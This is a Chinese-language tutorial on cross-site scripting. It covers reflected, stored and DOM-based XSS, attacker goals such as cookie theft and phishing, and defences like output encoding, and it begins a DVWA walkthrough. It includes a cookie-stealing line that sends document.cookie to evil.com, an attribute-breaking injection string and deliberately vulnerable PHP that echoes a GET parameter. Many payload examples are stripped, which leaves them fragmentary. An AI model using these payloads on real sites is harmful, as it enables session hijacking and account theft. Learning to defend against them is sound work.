1. 什么是XSS?
XSS又叫CSS(Cross Site Script),即跨站脚本攻击,为了和层叠样式(Cascading Style Sheet,CSS)有所区别则叫XSS。XSS攻击在网页中嵌入客户端恶意脚本代码(一般由JS编写),可以实现获取用户Cookie、改变网页内容、URL跳转等。例如在填写参数时,将内容写为
当脚本在如下位置时,输出数据在属性内不会被执行
所以需要对Value标签进行闭合,使输出内容不在value属性中,得以显示
" />
2. XSS的类型
(1)反射型
反射型XSS构造可以通过js代码给用户A发消息并盗取用户A的cookie,发送到指定的站点,然后可以通过利用Cookie以A的身份登录。
(2)存储型XSS
如果将带有XSS代码放入到留言板等场景中,会随留言一起存储到数据库中,具有较高的隐蔽性
(3)DOM Based XSS
DOM全称为Document Object Model,即文档对象模型,通常用于代表在HTML、XHTML和XML中的对象。
DOM型XSS主要通过修改页面的DOM节点,如下所示,
点击write按钮后,onclick调用test函数,会显示出超链接,链接地址就是用户在输入框中输入的内容。如果构造
' onclick=alert(/xss/) //
输入后,页面的链接处的代码如下,用单引号闭合并且用双斜线注释掉第二个单引号。
点击上面这个新生成的链接,脚本就会被执行。
除了构造新的事件,也可以插入一个新的HTML标签,如下
'>
<'
页面代码变为
<'' >testLink
能触发DOM Based XSS的地方很多,比如
document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()。还有一些可能成为DOM Based XSS的输入点:页面中所有的Inputs框、window.location(href、hash等)、window.name、document.referer、document.cookie、localstorage、XMLHttpRequest返回的数据。
3.XSS的作用
盗取用户cookie、修改网页内容、网站挂马、利用网站重定向、XSS蠕虫。
(1)盗取用户cookie
因为HTTP协议是无状态的,web服务器无法区分请求是否来源于同一个浏览器,所以需要cookie来标识用户并维护会话。可以分为内存cookie和硬盘cookie。内存cookie由浏览器维护,关闭时自动消失。硬盘cookie只有到设定的过期时间才会消失。例如IE的cookie保存位置在C:\Documents and Settings\用户名\Cookie文件夹中,是一个以用户名@URL命名的txt。
cookie由变量名(key)和值(Value)组成,其格式如下:
Set-Cookie:=[;=][;expires=][;domain=[; path=][; secure][;HttpOnly]
其中HttpOnly可以禁止js读取cookie(对预防xss不起作用,但可以防止劫持)
XSS的payload实际上就是js脚本(也可以是flash或其他客户端脚本),一般攻击者先加载远程脚本
payload放入evil.js中,该基本在页面中插入看不见的图片,把cookie作为参数发送到远程服务器。即使cookie前的链接地址不存在,也会在远程服务器的web日志下留下记录。
;
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
(2)修改网页内容
除了cookie劫持,攻击者可以通过模拟GET、POST请求操作用户的浏览器,这在某些隔离环境中会非常有用,如劫持失效时或不能访问互联网时。
(3)钓鱼
利用js在页面上伪造一个登录框,若用户在登录框内输入了用户名和密码,就会被发送至攻击者的服务器。
(4)识别用户浏览器(挂马攻击)
可以通过Js来判断浏览器版本,如UserAgent对象,用navigator.userAgent。还可以通过判断ActiveX控件的classid来判断其是否被安装,可以根据用户安装的软件,选择对应的漏洞进行植入木马,即“挂马攻击”。通过收集常见的classid,可以扫描用户安装的软件列表甚至版本。一些第三方插件也可以泄露一些信息,如Flash的system.capabilities对象可以查询客户端电脑中的硬件信息。还可以通过对扩展进行检测。如果客户端安装了java环境(JRE)等,那么还可以通过调用java Applet来获取客户端的本机IP地址。还有一种是通过CSS,来发现用户曾经访问的网站,其原理是sytle的visited属性,如果用户曾经访问过某个链接,那么链接颜色不同,由此可以识别用户访问的网站。不过这个问题在2010年被修补。
(5)蠕虫
在用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起蠕虫攻击。
4. XSS构造技巧
字符编码、绕过长度限制、使用
5. XSS防御
(1)输入输出检查
对输入内容进行过滤,比如电话号码应为13或15开头。也要对富文本进行处理。网站允许用户提交一些自定义的html代码,称为富文本。比如用户在论坛里发帖,帖子内容要有图片、视频、表格等,这些富文本的效果都需要通过html代码来实现。尽量选用白名单而不是黑名单。
(2)安全编码
用PHP中的htmlspecialchars()、htmlentities()把预定义的字符转换为html实体
& ->&
" ->"
' ->'
< -><
> ->>
注意HtmlEncode编码!
XSS练习平台:
在线平台:
http://xss-quiz.int21h.jp/
https://xss-game.appspot.com/
https://xss.haozi.me/#/0x00
自搭环境:
OWASP XSS
DVWA XSS
DVWA XSS详解
(1)reflected
查看四种难度模式的源代码:
//low
$html .= 'Hello ' . $_GET[ 'name' ] . '
';
//medium
$name = str_replace( '弹出。medium模式下过滤了